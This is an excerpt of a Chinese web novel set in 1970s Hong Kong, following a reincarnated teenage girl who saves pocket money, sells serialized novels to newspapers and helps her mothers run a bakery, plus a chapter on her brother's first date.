《七零港城杂事》 第1章 第 1 章 一股刺鼻的烟味窜入鼻尖,叶念念猛的咳嗽几声,然而嘈杂的人声将她的这点动静完全掩盖,叶念念只能捂住鼻子问看门的帮工她爸在哪。 帮工认识她,知道她是老板的女儿,虽然没听清楚她在说什么,但也熟门熟路的把叶念念领到最里面的一个房间。 帮工敲了敲门,门里面传来不耐烦的声音,帮工看了一眼叶念念。 叶念念上前推开门。 房间里面也是烟雾缭绕,和外面没什么差别,牌桌上几人都抽着烟,窗式空调制冷发出的噪音也在不停的响。 空调房不能抽烟! 如果是以前的叶念念肯定会这么提醒,但现在—— 有人想早死,那人还是她在香江坐拥三栋唐楼的亲爹,她为什么不顺从呢? 然而她还是装出欣喜若狂的样子,拿着成绩单就在亲爹面前炫耀“爹哋,我这个学期又考第一了。” 亲爹叶兴德眼神终于从麻将牌上移开,他看了一眼叶念念,又看了一眼通知书,“是小六啊,你是在……拔萃?对吧,第一名好,你读书厉害!” 他从兜里掏出一叠票子,把面额最大的500和1000的分了出来,塞到了叶念念手上,然后对着几个牌友说,“我家里这个孩子读书最好,在拔萃都是第一名。” 三个牌友两男一女,其中一位头发稀疏的牌友姓林,有人叫他林仔,也有人叫他林哥,他笑道:“德哥真会生,几个孩子都有出息,拔萃的第一名可了不得,以后肯定能上港大。” 女牌友叼着烟,别人都叫兰姐,她对林念念招了招手,林念念甜甜的叫了一声“兰姨好。” 兰姐摸了摸她的脑袋,给了林念念一张五百的票子,“好好读书,你这种年轻仔,读书最重要。” 然后兰姐大约是输多了,脸色不太好,说话也很冲,白了林仔一眼,“哪是他生的?他有这个功能吗?这是小六,是他四姨太生的孩子。小姑娘叫叶念念,她同母的哥哥鸿仔也是在拔萃,还有三姨太的女儿怡人也是。我还记得德哥的大儿子在华仁。” 略瘦的牌友家里排行第六,大家都叫他老六,笑道:“兰姐你厉害啊,德哥家的事情你比德哥都清楚吧,我看他肯定不记得他每个孩子在什么学校。” 兰姐打出一张牌,对瘦牌友语气中的揶揄不予理会,“我先前知道德哥两个孩子在拔萃,以为他家里和拔萃有关系呢,毕竟叶家家大业大。” “我家里那个儿子读书不行,我想看看能不能找点关系送进去。” 叶兴德拍了拍叶念念的肩膀,装模作样的说了两句,好好学习继续努力的话,又把注意力移回到了牌桌,和牌友们聊起来。 “我家哪有什么关系啊,我哥是有钱,但他的关系和学校不搭边,他都帮了我好多回了,我总不能事事都找上门吧。” “是哦,你的麻将牌照还是你哥给弄的吧,这可是个下金蛋的母鸡,政府好像不打算再发了。” “哈哈,下金蛋的母鸡,叶大老板就是做黄金贸易的,德哥真的想要一只下金蛋的母鸡,你哥能给你弄来吧!” “黄金这生意稳啊,我听说叶大老板好像在非洲要买金矿?德哥你清楚吗?” “不知道不知道,我不管生意上的事情。” 叶兴德无所谓的说,然后脸上一喜,“自摸!糊了!来给钱给钱。” 见这里没她什么事情,叶念念乖乖的跟爸爸和叔叔阿姨再见。 考了第一名她立马跑来乌烟瘴气的麻将馆,还是挑在每天麻将馆结账亲爹身上现金最多的时候,就是为了多得些零花钱。 亲爹五个老婆,孩子也有八个,未来不知道还会不会增加,他又是个万事不管的玩乐性子,哪怕是家里那个传统里面最看重大老婆生的大儿子,他也没多少交流。 叶念念估计现在麻将馆员工跟他的见面次数都比家里的孩子多。 她只是他孩子之一,关系并不比其他兄弟姐妹亲密多少,她也清楚自己在这个老爹心里没多少分量,所以实用主义至上的她对这个亲爹一般是嘴甜殷勤,至少留个乖女儿的影响,这样才好捞钱。 叶念念数了数这一轮得到的喜钱,五千五,大头来自她亲爹。这亲爹是个混人,身上毛病很多,但也有些优点,比如手松,给孩子零花钱大方。 很不错,现在港城普通人每个月的工资也就一两千左右,五千五对一个十五岁的孩子来说算是一笔巨款,可惜仍然不够在现在的香江买个厕所。 麻将馆外面,叶念念的亲哥叶盛鸿跨在摩托车上等她,见她数钱的样子忍不住提醒,“钱收好,别在大街上显摆。” 叶念念嗯的一声,立马把钱给塞进包里。 这个时候港城的治安可不好,黑的白的混在一起,也就是她亲爹开麻将馆每个月都交大笔保护费,这条街上的小混混不敢惹她家,她又是在麻将馆门口,旁边就站着两个人高马大的帮工,她这才少了几份警惕。 叶盛鸿把头盔扔给她,“小财迷又要把钱攒起来?” “嗯,现在就去银行。”她戴好头盔垫着脚坐到了摩托车后座上。 等她坐稳,叶盛鸿发动车子。 在这样偏窄又人多的路上,摩托车开不快,叶盛鸿的笑声传到叶念念的耳中。 “你还真是个小财迷,攒的钱够买房了吗?” 叶念念叹了口气,抱紧哥哥的腰,语气哀怨,“差得远呢。” 她亲爹手再松也不至于给孩子的零花钱几年就能买房,再加上她并不是省吃俭用会在生活上委屈自己的人,这些年她的存款虽然一直在增长,但距离买房仍然有一段距离。 最可悲的是,这段距离这两年还在不断增长。 她的零花钱攒得远没有房价涨得快。 叶盛鸿脸上依然带着笑,他这个小妹学习成绩极好,最让人省心,身上唯一称得上毛病的就是贪财这点了。 当然,在港岛,这可能也不算缺点。 谁不爱钱?穷人爱,富人也爱。 他也爱。 只是小妹从小学开始每天在报纸的中缝广告关注卖房消息,还会数着自己零花钱能买几呎的的样子太有趣了。 他们跟着两个娘到港城找爹的时候,小妹才四岁,那时候小妹就叫着要买房了。这些年港城的房价越来越高,倒是也证明小妹的眼光。 “你现在才多大?小妹你成绩这么好,以后肯定能考好大学,赚上大钱。”叶盛鸿一直觉得自家妹妹着急买房的样子有趣。 “妈名下有两套房,她不是早就说一套给我,一套留给你吗?” 对的,妹妹不仅自己想买房,还早早的叫妈买房。 他们兄妹几人是59年跟着两个妈一起到的港城,当时老房那边就剩下他们,处理旧物的时候大头交公,小头自然是留下做私产,手上就有了一笔还算丰厚的钱。 本来两个妈一到港城为了和那个刚进门的五姨太打擂台要在吃穿上狠狠采购一番,就被小妹拉着怡人姐一起拦住了,所有积蓄加上首饰都变卖了几件就为了在港城买房。 虽然事实证明这个决定一点都不亏,港城的房价这十年来涨了十倍,当初每平米500块,现在5000块都买不到。可当初他们初到港城就没钱的困境也的确让他们糟心了一段时间,两个妈不得不缠着他们那个亲爸搞钱。 “而且,房价都涨这么高了,应该不会再涨了吧。” 叶念念听得翻了个白眼,港城的房价不会涨? 她嘴上说,“两套给我们,那妈自己呢?她自己不要一套?” “再说——就那四五百呎的公寓看着就憋屈,我要豪宅!” 港城所谓的千呎豪宅住房面积还不超过一百平米,在叶念念看来也就是普通的三室两厅,她妈买的那两套公寓一个四百多呎,一个五百来呎,也就四五十个平方,上辈子叶念念爷爷奶奶农村的厨房都有二十平米呢。 “好,好,小妹你肯定能住豪宅。” 叶盛鸿笑着赞同着,“爸妈给的零花钱不够买,等我工作了也给你发零花钱。” 叶盛鸿今年20岁,已经在理工大学读书了,专业是土木工程,过两年就能工作。 别看五十年后互联网上把土木叫做天坑专业,现在这个专业可不差。而且他们有个厉害大伯,能找到不少关系,叶盛鸿的工作是不用愁的,肯定能进大企业,工资不会少。 叶兴德有五个老婆,孩子有九个,四姨太明翠就生了他们两个,因为同胞的关系,他们自然比其他兄弟姐妹更加亲近。 叶念念对亲哥这话可不买账,翻了个白眼,“还给我零花呢?你还没我有钱,你这个摩托车可把你的钱都给花光了,这个月妈是不是多给你零花钱了?” 她这个哥哥就是这样,总爱打趣她的买房梦想。 不过她也并不在意。 一个十五六岁的小孩总想着买房的确有点奇怪,不过她也在意其他人怎么看她,反正她自己知道她亏不了就是。 今年她十六岁了,中学已经毕业,还只剩下两年预科就能上大学。 按照道理来说,预科阶段是学业最繁忙最重要的阶段。 有着前世记忆的她成绩的确很好,但要说是什么高智商的绝世天才那倒也不是,也就是她穿越之后的金手指就是记忆力绝佳,她上辈子的成绩就不错,这辈子重读一遍,她早就了成熟的学习方法,基础打得很牢,这样综合下来,她才能考三拔萃,才能经常拿到第一,这个第一也就是班上的第一,在整个年级她的成绩稳稳前十,好的时候前三,不是那种断档领先几十分的学神。 她要保持好成绩是需要付出努力的。 这个阶段就是她最需要努力的时候。 可是——她都快努力十年了啊,真的等不及了! 她想赚钱! 全文杜撰,架空平行世界[竖耳兔头] 作者有话说 显示所有文的作话 第1章 第 1 章 第2章 第 2 章 叶念念是胎穿,距离她穿过来已经有15个年头。因为家里条件不错,她基本上没吃过什么苦。 这辈子她的出身还挺不错。 叶家也算名门,在沪上的时候就有些名气。搬到港城后,老爷子没几年就过世了,叶家由大伯继承,然后就分了家。 她爸叶兴德在家中排名第四,但是正房太太生出来的,和继承了大部分家业的大哥是同胞兄弟,分的比其他姨娘生的兄弟要多得多。 再加上叶老太太生了三个孩子,两男一女,叶兴德年龄最小,她自然也就更疼爱些,哪怕叶兴德都是好多个孩子的父亲,过几年连孙子都要有了,她还是把小儿子当孩子看。 叶兴德在港城的不少产业都是叶老太太拿私房给他添置的,基本都是房产铺面这样细水长流又稳当的资产,所以哪怕他实际上没什么正经工作,也养得起家里十多口人,旁人也都要叫他一声老板,。 当然虽然叶兴德不缺钱,但在那些真正的有钱人眼中完全不够看的,几乎可以预料,只要再过两三代家中孩子没有出息,他这一房绝对会败落下去。 其实现在也能看出。 以前叶兴德作为叶家四少在沪上过的是什么纸醉金迷的日子,现在到了港城也就打打麻将,以前他的吃穿用度有叶家买单,现在都得自己付钱。 叶兴德的大儿子,也就是叶念念的大哥名叫叶盛新,作为四房继承人的他完全不能和大房的几个女儿以及大房养大的叶盛远相比。 大约是叶盛新一年的工资都比不上叶盛远一个月零花钱的地步。 叶念念偷偷听大姐抱怨过,也在母亲口中知道叶兴德的正房太太旬婷兰旬太太心中多有不平。 她母亲陈明翠是叶兴德的四姨太,和三姨太黄盼巧都是舞厅出来的舞女,都是底层,对她们两个来说吃穿不愁还能从男人捞钱的日子就已经很好了,当舞女的时候她们要讨好很多人,现在只用讨好叶兴德和旬太太就行。没过多少好日子自然也不会有落差。当初在沪上主宅她们过得也就那样,每月的月钱也就那点,现在到了港城还自由些,还能自己赚钱。 只有旬太太——她可是官宦世家出生,真正的名门,她是最能感受到落差,也是最受不了的。 旬太太总催着叶兴德上进,还总想让叶兴德去参合他大哥的生意。 叶兴德不干。 他是个纨绔,早年也被身边的狐朋狗友骗过去投资生意,交了不少学费,知道了个道理——世界上没有那种投了钱只用等着拿钱不用干事的生意。 想要生意赚钱,就必须盯着,方方面面的盯着,不然保准赔本。 他不喜欢做事,麻将馆生意红火,五栋楼的租金这些年也节节攀升,足够他生活。 所以叶念念觉得她这个亲爹还是有点聪明在身上的,至少知道自己几斤几两,还知道最能把家底亏掉的就是创业。 她对于不上不下的家庭情况完全没意见。 她前世是个普通人家,父亲是国企员工,工资不高也不低,十分稳定。似乎四岁之前她的生活还不错,但随着母亲的早逝,父亲娶了后妈又生了个弟弟,她就成了家里的外人,吃穿是不愁,但大学的生活费她都得催着要,暑假寒假干过外卖做过客服,大学毕业后她就忙不迭的找工作自己养活自己,一直都是平凡牛马。 所以对叶念念来说,这穿越后的生活可太好了。 她上辈子都不能不用任何理由从亲爹手里拿到一千块钱零花钱,这辈子这才七十年代呢,叶兴德随手就能给她七千多块,她亲妈还准备了港城房子给她陪嫁,这不是妥妥的大户人家吗? 当然,虽然家庭状况非常令叶念念满意,但她完全没想过摆烂当咸鱼。 当咸鱼也得看怎么当啊,她亲妈就是个小老婆,她要是和亲哥把亲妈的财产都分完了,还真的指望她那个娶了五个老婆的亲爹去养他们的妈啊?仰人鼻息的日子可不好过,她亲妈为了他们兄妹已经过了那么多年了,还不能让她享享清福吗? 只有自己有钱才是真的有钱。 而七**十年代只要站在风口就能捞钱,她凭什么放弃? 她受过没钱的苦,只想有更多的钱。 以前年龄小,她自己清楚自己肚子里有多少水,不想去当天才,也不喜欢显露自己的不同之处,所以一直都没怎么动作,最多是劝劝亲妈投资。 现在到了十六岁,在港城十六岁都能结婚!打工的也到处都是,赚钱旁人最多夸一句厉害,不会视为妖孽,她的赚钱计划也就准备开始。 叶念念在银行把钱存好,又坐着亲哥的摩托车回家。 她放假了,叶盛鸿这个大学生自然也放假了,叶念念去银行使唤使唤他没意见,但是一整天待在家里他就受不了乐。 送叶念念到家后他就走了,惹得听到声音刚刚走到门口的亲妈陈明翠急急忙忙的冲出来,朝着他的背影大声叫,“今天下午有雨,你车上有雨衣吗?要来换双鞋吗?” 陈明翠的话没有得到回应,因为摩托太快,叶盛鸿一下就没影了。 不用想,叶盛鸿为了避免被亲妈抓住,加快了速度。 陈明翠忍不住嘴上抱怨了儿子几句。 等到她转头,对着叶念念又和颜悦色起来,“念念,芳姐说你又考了第一,真厉害,我叫了小善下午送蛋糕过来,是你喜欢的那个什么抹茶味的,专门给你做的。” 叶念念眼睛一亮,“谢谢妈咪。” 看见女儿高兴,陈明翠瞬间舒心不少,“我还让芳姐给你煲了排骨汤,你晚上多喝点,读书也别太辛苦了,身体最重要。” 随后陈明翠又拿出一封信,“这是报社的信,应该你投的影评过了,报纸给你寄了稿费。” 叶念念前两年开始给报社投稿,一般是影评或者生活小常识和笑话这一类的。 家人都已经习惯了。 叶念念从小就喜欢读书,其他孩子玩个不停的时候,叶念念就爱坐在桌前看书写字,是个安静省心的孩子。 比起调皮活泼的儿子,陈明翠更喜欢文静贴心的女儿。 她嘱咐叶念念几句后,就笑着看女儿上楼了。学习上的事情她不太懂,但知道现在是关键期,再过两年女儿就要考大学了。 叶念念到了自己的房间,比起卧室,这更像是一间书房,两排大大的书架摆满了书,床头柜上、书桌上、衣柜下层也都整整齐齐的放着着书,房间角落里还有一摞报纸。 叶念念在书桌前坐下,拆开了信。 的确是报社寄来的过稿信,但不是影评而是小说。 她现在还在读书,赚钱的手段也就那么几种,六七十年代正好是港城小说最繁荣的时代,知名作家甚至可以日入过万。早在七八年前,叶念念就决定用小说来赚自己的第一桶金。 上辈子叶念念打工赚生活费的时候就被同寝室的写手朋友劝着一起写小说,虽然写小说要先写免费章节,可能要一两个月之后才能有收入,收入也不算稳定,但比起在外面晒脱皮送外卖,写小说可以在室内吹空调,码字速度快的话,一天的更新也只需要一两个小时就能完成。需要的东西也就是一台电脑,而她为了方便交作业早就买了电脑。 懵里懵懂的叶念念就在闺蜜的全力帮助下开始了网文写手的打工生活。 闺蜜是个小神,指导她也不遗余力,还给她引流,她也算争气,第一篇文就顺利入V,每个月能有两千多稿费。 因为写小说比起打零工优势巨大,自那开始,她就没断过写作,哪怕找到了工作,她也没放下码字。工资满足生活所需,存款全靠稿费。 所以穿越之后,她上小学没几年,就开始了写小说的日常。 亲妈宠她,她很早就有自己的房间,所以也没人只要锁上门就没人知道她在干什么,她能自由自在的写东西。 就这七八年时间,她每天手写一千字到两千字,她已经写完了三本小说,攒下了四百多万的存稿。 三本小说,一本修仙文一本穿越文一本灵异文。 现在港城最火的是武侠小说,但在叶念念的时代,武侠小说式微,她从未写过武侠小说,也不想以己之短攻攻彼之长,和港城那么多武侠小说家卷生卷死。 这三个题材都是她精心选择的。 修仙文一直是网文热门,她写过。 穿越文,她写过。 灵异文,她也写过。 而且这三个题材虽然不如武侠火爆,但在现在的港城也是有市场的。 武侠进一步就是修仙。 历史穿越最开始也是从港城火到内地。 港城的灵异文虽然多以短篇为主,但灵异片可不少,每年电影院都有一大堆。 只能说比起大热的武侠,这三个题材偏一些,但更容易写出新意。 叶念念首先投稿的是修仙文,她先前就通过影评对港岛比较热门的报刊杂志摸过底,了解他们的风格也认识了些编辑。 这次投稿也是事先找上门,找了相熟的编辑介绍自己想写的东西。 编辑听了感兴趣,又见了她给的三千字开头,帮她改了些文字才通过的。 这份过稿信只是走个过场,她和编辑已经谈好。这是她的第一部小说,签的是新人价千字四十,要求每天至少供稿一千字,无法按时交稿需提前两天说明。 她这本名为寻仙路的小说全文一百二十七万字,如果正常发完会有五万左右的稿费。 听起来不少,但是考虑到她对亲爹撒个娇都能拿五千,而这小说至少要发两年,就立马没什么性价比了。 两年之后她考上个好大学收的红包应该比这多。 但——这钱是自己赚的呀!也证明了她的实力,如果小说能火起来,稿费也能涨,等出书了还能有一份版税收入。 而且,这次五千零花钱一年最多两次,不能完全指望。 再说她写都写了,不拿去发表赚钱那不是白写了吗? 只希望这片修仙文发文顺利,第二篇文她作为老作者稿费能高些。 第3章 第 3 章 叶念念完成今天的两千字后,抬头看了一眼时钟,已经是下午四点多。 她写字速度一般,一小时大概能写一千多字,到现在已经写了快两个小时,在这期间她一直坐在座位上奋笔疾书。这不是个好习惯,一般来说写了半个小时就得起身活动一下,奈何她灵感来了,根本注意不到时间。 她松了口气,起身活动一下手腕,然后对着窗户,视线转移到远处开始蹦蹦跳跳舒展身体。 十五分钟之后,她停下来又坐回座位,这次她花十分钟把刚刚写完的内容过了一遍,改了一些错字,就把稿子收好。 这是她的第四本小说,还没写多少。 来自网络发达后世的一个优势就是,她的灵感多到数不完,太多太多想写的东西。 她新写的小说,题材比起前三本要另类——不,准确说是新颖一些。 等叶念念走下楼,桌上果然放着切好的抹茶蛋糕。 陈明翠女士正皱着眉头品尝咖啡,三姨太黄盼巧先看见叶念念招呼了她一声。 叶家分家之后,叶兴德住的房子是另外购置的。 当时分得突然,并没有时间立马找到能让叶兴德满意住下二十多口人的大宅子,所以叶兴德几个小老婆都是分开住。 三姨太陈明翠和四姨太黄盼巧最开始一起被送给叶兴德,在沪上主宅也是一起住,现在也还是一起。 陈明翠和黄盼巧一个姓陈一个姓黄,一个祖籍苏州一个祖籍四川,没有一丁点血缘关系,偏偏模样生得有七八分相似,好好化妆打扮一番,更是让人觉得是一对双胞胎。 在那年代的舞厅,一对漂亮的双胞胎可是顶尖的稀罕货。她们没在舞厅待多久就被送给了叶兴德,运气算是不错。 两人不仅长得像,性格也很投缘,这些年一路走来,不是姐妹,胜似姐妹。 黄盼巧瞧着叶念念跟自己孩子一样,陈明翠每次给叶念念买东西也会给黄盼巧的女儿叶怡人买上一份。 陈明翠放下咖啡,直晃脑袋,“我还是想不明白这苦东西怎么会有那么多人喜欢喝,比起果汁差远了。” 黄盼巧指着电视机,“这就是时尚了,洋鬼子们都喜欢喝这个,小年轻也喜欢。” 叶念念下了楼,在餐桌前坐下,拿起了叉子准备解决掉抹茶蛋糕。 她其实也不喜欢喝咖啡,这让她想起那些上辈子她毕业之后第一家公司每天加班到九点全靠咖啡续命的日子,不过她对咖啡的地位还是认可的,便道,“谁让咖啡流行呢?觉得受不了可以试试多加牛奶和方糖,” 陈明翠瞧着女儿小口小口的吃蛋糕,应该是喜欢这味道,脸上便有了些得意,说道:“上个月方太太的女儿去霓虹玩,我送了条方巾,让她给我带了一包抹茶粉。这东西港城买不到,专门去霓虹买不划算。” 她旁边黄盼巧道,“这抹茶也有苦味,但不重,茶味很浓,做出来的蛋糕别有一番风味,我觉得应该会有不少人喜欢吃。” 这抹茶蛋糕是自家蛋糕店出品。 当初刚到港城的时候叶念念撺掇着两人买房。 那时候陈明翠和黄盼巧作为留守呼市祖宅的最后一批人,陪着过来接她们的管家把祖宅里不少东西都卖了,大头上交叶家,剩下她们与管家各分了一份。 叶家的管家是忠心,但忠心不妨碍他拿油水,让一些给两个姨娘,也有堵嘴之意。 陈明翠和黄盼巧当舞女的时候身上赚到的钱大部分会补贴给家里,剩下的置办衣服首饰,没什么余钱,后来被送给叶兴德,他那时候出手还算大方,但她们还是得补贴家里,叶兴德送的贵重首饰又是在叶家登记造册的,她们能戴却不能卖,也没什么钱。所以来港城的路上是她们最富的一段日子,只可惜刚到港城就被叶念念盯上,那些现钱全拿去买了房子铺子。 陈明翠买了两间铺子和两间房,黄盼巧也是一样。 刚到港城的时候,她们购置房产都是瞒着叶家,房子铺子都是租出去的。 到现在,叶家分家了这么些年,叶兴德不太管事也没多少本事,她们在港城也住惯了,不再人生地不熟,胆子也就大了个起来,去年陈明翠就把一间铺子收了回来,开始做起了生意。 黄盼巧家里原是开点心店,七八岁就帮着家里做点心,积年累月下来有了一身好手艺。 叶念念便建议是开蛋糕店。 黄盼巧不会做面包蛋糕,但她有基础,学了两个月,很快就能像模像样的做出味道和卖相都不错的面包。 面包店里也卖传统糕点,还有曲奇饼干之类,叶念念贡献了葡式蛋挞配方。 葡式蛋挞在后世一直都是国内各大快餐店的常驻嘉宾,味道对华国人的胃口。这个时间点,葡式蛋挞在澳门还没出现,她们蛋糕店里就是独一份,店铺开张之时,就借此吸引了一批客人打响了名头,生意一直不错。 这个时代很多老式点心店都是几种糕点卖到死,叶念念却是习惯了前世各种连锁快餐店上架新品一两个月就下架的经营模式,蛋糕店没开张把不停推出新品的经营模式灌进了两个妈的脑子里。 黄盼巧就是主要负责搞研发的,叶念念想吃抹茶味蛋糕,陈明翠让人带来抹茶粉,她就亲自动手做,一点一点的调比例,这才做出了令人满意的抹茶蛋糕。 她对这方面也敏锐,觉得这个口味很特别,是港城独一份,应该又能做成蛋糕店的特色。 所以听到黄盼巧的评价,叶念念愉快的点头。 她也是这样想的。 抹茶风味食品推广开来是在九十年代,但考虑到抹茶起源宋朝,华国古代喝茶就没断过,华国人对这个口味的接受度应该比较高。 她脑海里有不少网红糕点配方,都是后世改良过大受好评的,只是考虑到一些原因,她不会全拿出来。 陈明翠瞧见叶念念的吃货样,摇摇头道,“你就会吃,光使唤我和你巧妈了,她可是为你在烤箱前忙了三天,试做出那些东西可是让我和店里几个帮工看见绿色就腻得慌。” 叶念念便对着黄盼巧撒娇,“谢谢巧妈~” 她是三个孩子中最小的一个,黄盼巧一向比陈明翠还宠她。 黄盼巧笑道,“我本来就整天待在烤箱前,可不觉得辛苦,给我们念念做蛋糕我可开心了,我们念念真厉害,店里这不是又多了一件新品?生意肯定会在上一层楼。” 自从开店之后,两人的精力从男人和孩子上转移到蛋糕店上,越来越有精神了。 叶念念看着就高兴。 黄盼巧开始说起做月饼的事情。 港城这边很看重中秋,几乎不亚于春节,月饼售价不菲却几乎家家户户都要买,很多糕点店都靠着中秋这一波来赚钱。 她们蛋糕店虽然卖的传统糕点也就几种,但也不想错过中秋旺季。 只是这边的人买月饼通常是通过饼会的形式分期预购,她们不搞饼会,恐怕会减少很多顾客。 但现在距离中秋只剩几个月了,饼会预购通常是一年十二期,她们现在搞就晚了,而且现在这个时候采购月饼原料价格太高很吃亏。 两人都有些拿不定主意,讨论了几次都没结果。 叶念念没插嘴。 大约半个小时后,讨论有了一个初步结果,不搞饼会了,先去定一批特制的月饼盒,准备些原料,再弄几张海报先在店里挂上,核算一下成本,有客人预定最好,她们控制好数量,宁可少赚一些也不能浪费。 然后两人又开始讨论起月饼的口味。 这个叶念念就来劲了,“双黄莲蓉!”永远的神! 陈明翠:“我觉得五仁和豆沙的不错。” 黄盼巧;“也来点咸口的鲜肉月饼吧!” 讨论到最后,五仁月饼被抛弃了,倒不是因为难吃,真材实料的五仁月饼还是很好吃的,只是成本高,制作麻烦。她们本来就不打算今年把月饼当做主要营收,也就不想准备太麻烦。 叶念念脑海里有很多新口味的月饼,但她没说,饭要一点点吃,钱要慢慢赚。 这一讨论就到饭点了,芳姐在厨房忙活半天,把菜端上来了。 叶盛鸿还没回来,不过家里也已经习惯了他晚上晚点回来,毕竟是个大男生,一般不用担心安全问题。 在港大读医学专业的叶怡人回来了。 她是早就说了放假时间的,芳姐帮她拿好行李,她拿热毛巾擦了擦脸就坐下来吃饭。 叶怡人是巧妈的女儿,年龄和叶盛鸿一样,生日只相差半个月。 她不爱打扮,剪着一头短发,戴着眼镜,脸上爆了几颗痘,看上去平平无奇。 不过叶念念知道,怡人姐姐和她长得很像,相貌其实不差,只是——她读医啊,哪怕上大学每天也保持着高考强度,每天晚睡早起皮肤状态比较差。 对女儿的不修边幅,黄盼巧一直很有意见,她倒不是有让女儿去钓金龟婿之类的想法,单纯是看不惯女儿的邋遢样。 叶怡人不邋遢,只不过黄盼巧的观念里,头发随便扎,眉毛不修,衣服没搭配就算邋遢。 叶怡人一进来,她脸上先是一喜,然后眉头微皱,扯了扯嘴角最后还是把想要训人的话给憋住了,对着女儿柔声细语,“先盛一碗排骨汤吧,学校的饭菜再怎么也没有家里好,明天想吃什么跟妈说,我让芳姐去买。” 叶怡人闷头吃饭。 陈明翠也对着叶怡人嘘寒问暖,问她学校里的事情。 叶怡人偶尔应付性的回一句,让人有一种一拳打在棉花上的憋屈感。 叶念念倒是相当佩服姐姐,怡人姐很有个性,相当自我,还学医呢真厉害。她也知道,再等两三天,怡人姐的保护期一过,估计就会被巧妈抓去百货大楼买上一堆亮色衣服,然后每天吃饭时候准时被吼下楼。 [烟花]开文前三章 作者有话说 显示所有文的作话 第3章 第 3 章 7. 第 7 章 叶盛鸿大清早把齐玉华接到图书馆。 齐玉华是他最近刚交的女朋友,是跟他同一大学女子学院的同学,比他小一届。 他不是个爱去图书馆的人,只是港城夜生活繁华,上午能玩的地方不多,想来想去还是图书馆更方便。 齐玉华成绩没他好,如果遇到不会的问他问题,他也更能表现自己不是吗? 他对自己这个想法可是相当得意。 唯一没考虑的是——他女朋友是法语专业的,来图书馆看的也是法语书,他一点也不懂。 他是个大半想法都在脸上的人。 在图书馆待了半个小时,见女朋友安心看书,根本不理他,他便有点抓耳挠腮坐立不安,十分想说话却又怕打扰了对方。 如果是家里的叶怡人和叶念念,一看就知道他想干嘛,然而他的女朋友是个乖乖女,说来图书馆学习就真的学习,专心致志心无杂念。 叶盛鸿忍了半个小时,绝望了,化悲痛为力量,也开始啃手上的建筑史。 学吧学吧,学习的时候能谈恋爱,谈恋爱的时候为什么就不能学习呢? 这样一晃,又是两个多小时过去,到中午了,图书馆的人都陆陆续续的去吃午饭了,他们这对新晋小情侣也饿了。 叶盛鸿的约会计划终于可以继续下去了。 他先前观察发现齐玉华很喜欢手上这本法语小说就把书买下送给了齐玉华。 书是名著,齐玉华家中有中文版和英文版就是没有法文版,很开心的收下了。 两人还一起挑了漂亮的书签。 吃饭的餐厅是叶盛鸿挑的,他以前没来过,只听叶念念和妈说过这家的菜味道一般,性价比糟糕,但摆盘漂亮,装修很有风格,适合情侣。 他就记住最后那句适合情侣了。 也的确挺适合情侣的,这对小情侣的心思都没在饭菜上,光注意对方了,菜的味道都没尝出什么,虽然最后结账的时候被账单惊讶了一下,但叶盛鸿还是没记住吃了什么菜,他只记得坐在他对面的玉华。 下午他们去看了电影,这次看的就是先前没和姐姐妹妹看的爱情片了。 不过他心思仍然没有在电影上,而是他前排一对在电影院就亲上,还时不时摸一把的情侣。 电影院的灯光很暗,他的皮肤最近也晒得有点黑,正好遮住他脸上的红。 等齐玉华吃完爆米花,他鼓起勇气牵住了她的手,然后脑子一片空白直到电影结束被齐玉华拉起来。 等到散场,他被女朋友牵着走出来,他才开始回神。 齐玉华的脸也是红彤彤的。 叶盛鸿想说什么又不知道说什么,应该问刚刚的电影好看吗?可那电影到底讲了什么? 他眼睛瞄到了电影院门口卖报纸的摊位,脑子灵光一闪,带着齐玉华到了小摊位前要了一份夜星晚报,很骄傲的指着其中一页。 “这篇小说是我妹妹写的,今天第一天连载,她才十六岁,是不是很厉害?” 齐玉华有点愣,但还是点点头。 十六岁就能写小说上报纸,的确很厉害。 叶盛鸿把报纸塞进齐玉华怀里,“这份就送给你了,我这边再买十份分给我朋友,也把这件事告诉他们。” 齐玉华想了想也对小贩说道,“那给我也拿十份吧,我可以送给我的朋友。” 然而夜星晚报在港城只算中流偏上的报纸,这个摊位总共只进了二十份,两个人直接全包了。 摊贩听着说报纸上的小说是叶盛鸿妹妹写的也连声夸奖,这么小年龄就能写小说发表,说不定是下一个“闵诗”。 闵诗是港城这几年知名的女作家,上初中就开始写爱情小说,一部成名,很受欢迎,许多女性都爱看她写的东西,被好几家报社追着求稿,据说随随便便写点东西就能拿上千的稿费。 叶盛鸿看自家妹妹自然是哪里都好,谁都比不上,但在外面他知道不能太招眼,便自认为谦虚的说,“我妹妹从小就爱投稿,只不过是写其他的,这次是她第一次写小说,一下就过了呢,她可厉害了,不比闵诗差。” 闵诗的读者多为女性,初中高中的女生特别爱看她的小说,在学校都有很多人讨论,已经算是一种流行。于此相对的就是很多男生觉得闵诗的小说无病呻吟全是些情情爱爱的东西完全搞不懂为什么有人会看。 叶盛鸿没看过闵诗的小说,受到身边其他男生的影响,虽然知道闵诗名气大,但是真不觉得她厉害。 小贩倒也没反驳,顺着他的话夸了起来,这是刚刚买了二十份报的客户,可不得说几句漂亮话吗? 齐玉华初中在国外上的,对闵诗也不熟悉,所以只在一旁听着。 叶盛鸿与小贩说了几句,就带着齐玉华离开了电影院。 齐玉华家里管得严,晚上饭点前就要回去,叶盛鸿把她送到她家附近一条路的时候,很是依依不舍。 齐玉华下车的时候对着叶盛鸿招了招手,叶盛鸿取下头盔压低了身子,以为女朋友要说什么,脸上却多了一份柔软的触觉,他整个人都呆住了。 齐玉华慌慌张张的跑回家,叶盛鸿就呆愣愣的看着她的背影,后面他回过神来,又在齐玉华家附近转了一个多小时,想要见女朋友又怕被家长发现。等他饿到不行,他才回家。 他匆匆吃过饭,就回了自己房间,扑在床上,脑子里不知道在想什么。 所以他也就忘记了他买好准备送人的报纸。 而当时齐玉华壮着胆子亲了男朋友,拿自己东西的时候也匆忙,把二十份报纸连着那本书一起给抱走了。 二十份报纸啊,虽然夜星晚报页数不多,但二十份还是很有厚度,齐玉华到了家里把报纸放在一旁还没想好怎么处理,她的爷爷就走到她身边随意翻开了报纸。 齐玉华是富商家庭,以前一直住在新加坡,几年前爷爷身体不好,想着落叶归根就回到了港城这边,等着什么时候局势缓和再回大陆。 她爷爷一直有阅读报纸的习惯,以为齐玉华一摞报纸是拿给他的。 只是一翻便发现了问题,十几份一样的报纸! 齐老爷子皱起眉来,“送报纸的送错了?怎么都是一样的?还是夜星晚报?我可不读这种八卦小报。” 齐玉华连忙把自己砰砰直跳的心压回去,解释道,“不是家里订的报纸,是我一个朋友的妹妹写了小说在夜星晚报上刊载,我就多买了几份。” 这一解释,齐老爷子就舒展了眉头。 